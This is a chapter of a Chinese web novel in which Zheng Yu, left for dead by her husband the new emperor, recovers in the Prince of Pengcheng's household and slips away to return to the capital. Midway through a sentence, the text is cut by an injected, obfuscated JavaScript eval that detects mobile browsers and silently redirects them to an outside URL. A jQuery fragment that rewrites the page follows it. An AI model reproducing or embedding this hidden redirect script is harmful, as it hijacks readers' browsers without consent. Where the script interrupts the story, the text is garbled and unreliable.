2. 重生

作品:《献祭前夫后她登基成女帝了

    “醒啦醒啦。”


    “姐姐,她醒啦!”


    清脆的女声毫无征兆的刺入郑鱼耳膜,她羽睫轻颤了几下,感知更加清晰了一些,意识渐醒,最后终于睁开了眼。


    女郎见她睁眼急忙问:“你感觉如何,可是有哪里不舒服?”


    郑鱼浑身无力,骨头犹如散架一般,连脑子都是混混沉沉的,不过还是摇了头,“未曾。”


    她目光打量着眼前的陌生环境,问:“是你们救了我?”


    梳着两个双飞髻,约莫才十岁出头的小丫头正要开口,就被红衣女郎叫住,道:“绿杳,你去看看煎的药好了没,好了便拿过来。”


    小姑娘对这个安排显然有些不满意,但是没有反对,乖乖的应了话走出去。


    她离开,红衣女郎走到榻前,道:“女公子将手给我一下。”


    郑鱼把手递过去,她在腕部上来回摸了几下,神情从严肃变得舒缓下来,温柔的女声徐徐缓缓道:“嗯,脉象已经趋渐平稳,待好生休养一段时日,便可下床活动了。”


    “嗯,请问此处是……”她再一次问。


    这次女郎没有避开她的问话,将搭脉的手巾收进去,随口答道:“这里是彭城王府,是我们殿下救你回来的。”


    沈弘?


    郑鱼不禁有些怔住。


    彭城王是大冶朝唯一的异姓王,先祖图麦真是建朝功臣,同威元帝谢祯出生入死,征战疆场无数,深得先祖皇帝信任,特赐汉姓,并以富饶的彭城为其食邑,封为彭城王,掌控海口贸易和三座盐铁山。


    沈弘是第四位彭城王,前几年其父病逝,他承袭爵位。


    在纷乱割据的时期,一个少年新主,能够护住自己的领地并且还将徐州纳入旗下,不参与征伐之乱,足以见其能力。


    不过郑鱼同彭城王沈弘并无太多交集,不过是粗粗几面罢。


    她头一遭见他,是在自己的婚礼上。


    老彭城王带他来贺,人穿着一身木槿紫刺绣绮罗,头戴白玉冠,腰环羊首玉佩,虽不过十五六,已乍见睥睨天下气度。


    惊鸿一面,再无交集,又见是三年前,刘用身死,夫人追随其而去,托孤九安于她跟谢衡……


    昌都被西凉军攻陷,昭帝被鸠杀,各方势力趁乱起兵,都想夺玉玺自立为王,谢衡也在这其中。


    他与李肃携幽州军南下,一路征战,粮草殆尽,于是便想与彭城王沈弘结盟求助,郑鱼是来访使者。


    沈弘遵循祖辈遗训,不敢忘恩,遂合作,入昌都,救少帝谢钰。


    一切原本十分顺利,可后来……谢衡说谢钰年纪尚幼,难堪大任,便以王叔的身份摄政,一个多月后,谢钰骤然出事,他便顺利登基,成为新主。


    沈弘并不认谢衡这位新帝,在登基礼上怒声斥其是窃国逆贼,心思狡诈,双方发生激烈的冲突,最终沈弘败走回彭城,此后这几年,双方都小有摩擦,经常大小争执不断。


    郑鱼虽也有不太认可谢衡做法之处,然他到底是自己的丈夫,她是孤儿,无父无母,唯一一个待她好的郑老爹也故去,自当谢衡是自己最为亲近之人,二者选其一,她站在了谢衡这一方。


    可不曾想今日救她的居然会是他。


    而要她命的……会是那个跟自己一路历经艰险过来,坚定所选择的人。


    说来也真是够讽刺的。


    ……


    从红药口中,郑鱼大抵清楚近日发生的事。


    现今是宣宁四年,距离她在含章院无故“病逝”三个月。


    彭城王沈弘是在昌都的西郊乱葬岗捡的她,据说见还有一口气儿便将人带回来了,长期用药养着,赌个运气,不曾想还真赌中清醒了。


    到底是她命不该绝!


    郑鱼其实清楚,当日那般,她的下场定然不会太好去,然而亲耳听到谢衡让人将她丢到乱葬岗,尸体任野狗吞食,心中还是不由一阵钝痛。


    夫妻九载,他竟一点体面都不给她留!


    “多想无益,过去的便叫它过去罢。”红药劝。


    “嗯。”郑鱼点头。


    ……


    时下值春,彭城又位处河口地带,春日多雨得紧,河道决堤,沈弘正忙碌于此,故而在彭城王府养病这些时日,郑鱼并无见到这位正主,她多是与府上的女郎往来。


    彭城王府没有王妃执掌中馈,一切事宜由副官红药,也便是当日救她的女医处理。


    绿杳是她的亲妹妹,二人虽为姐妹,但性子大不相同,姐姐红药沉稳,各项事宜处理得井井有条,叫人找不到一丝错处,还身怀岐黄之术,妹妹是个活泼性子,大大咧咧的,爱说话,爱吃果脯,在算术上有些天赋,经常帮着姐姐一块处理账本,不过多半会不小心……烧掉一些。


    府上还有许多同姐妹两人差不多的女郎,都是沈弘捡回来,特意教养的。


    绿杳说:“我们王爷是天上的仙人,见不得大伙受苦,特意到凡间来救我们的,不过不太好的一点就是,有点贪画贪酒,每每碰这两样呀,便什么都忘咯。”


    郑鱼听着,并不作评,只是如画的眉目徐徐展开,面上挂了浅淡的笑意。


    绿杳或许有夸张嫌疑,然彭城王事确实是实打实做了,也属实担得上这一美称。


    当然,这属闲话了,当前她并不上心这些,也不是很关心沈弘究竟是否是天上仙人下凡救苦救难的。


    她的当务之急,是返回昌都。


    当日九安出事,她又被逼至绝境,不得不饮下那一杯毒酒,本以为二人只能黄泉再遇,可如今既然重生一次,她便要回去,要为九安讨一个说法!


    这件事做了决定,郑鱼寻了个日子便去与红药告辞。


    女郎低头手指飞快的拨弄着手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456946|154165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上的算盘,闻言抬头,道:“昌都近日并不太平,府上密探来过消息,称新帝谢衡正在清理旧部,肃整朝局,你此时回去,只怕风险太大。”


    “我清楚,不过若为一己安宁苟且偷生于此,更叫我不安。”


    郑鱼垂眸,视线落在细白的手腕上,那处有一道细而长的疤……


    她死死地按着那道疤,虽时日久远,可再碰起来,还是会锥心的疼。


    她是故意的,她要记住这种疼痛的感觉,记住是谁,是什么叫她有今时今日的下场?


    ……


    红药沉默。


    良久过后,她道:“这样吧,待我修书一封告于殿下,一切待他明示过后再说,淑女既然已经在府上住了这么长时日,也不急于这一时半刻吧?”


    话至此,郑鱼只能暂时答应下来,然而事情并未想象中的顺利,接连几日过去,仍然未曾得到过沈弘的回音,眼见着这日子一天天过,她到底按耐不住,便不作打扰,留了封书信便悄然离开。


    ……


    古陵渡口是彭城要塞,接连南北,饶是如今天下纷乱不断,可依然热闹非常,微曦时分,行人商船就往来不绝。


    郑鱼在渡口巡视了一番,最后走到了一叶扁舟处,船头坐着个打鱼的老翁,撑着杆儿在吆喝着。


    “坐船嘞,五文钱一趟,坐船嘞……”


    看到郑鱼,他止住了吆喝声,歪了歪身子看过来,热情的问:“小郎君,要坐船否?”


    郑鱼问:“老伯,您这船,走昌都吗?”


    老翁笑了,“小郎君可真会说笑,那昌都离彭城千里远,我这要走一趟,得折损多少,我就是小本买卖,家里还有媳妇孩子等着我养活呢。”


    郑鱼也有些不好意思,她是生死边缘被捡回来的,身上没什么值钱的东西,少有的钱,还是在彭城王府这些时日,沈弘叫府上人给她置办换出来的,但出门在外,处处都需要钱,她也不敢花得太过肆意,这才会找的是扁舟而不是旁边的大船……


    “那您这能到哪?”郑鱼问。


    老翁道:“林州,过了林州就不能再走了。”


    林州位处两地交界,可地貌不同,彭城环水,那边却是多山峦,到了那里,可以租一辆马车,改走山道。


    这样想着,郑鱼应承下来。


    船没有立即走,还要再等多些人,郑鱼也能理解,一个才赚五文钱,像老翁这样靠走船打渔为生的,自然是希望能多点人更好。


    她也不急,走到船上,寻了个地儿坐下来。


    春风料峭,绿水悠悠,真真是一派好景之色。


    郑鱼望着这春景,心情也不由放松了下来,闲暇间,跟老翁有一搭没一搭的聊着,谈得正欢时,但见不远处闹了起来,动静很大,不多时,小舟被围住,一个高大挺拔的身影踏着晨光款款而来。


    “是你?”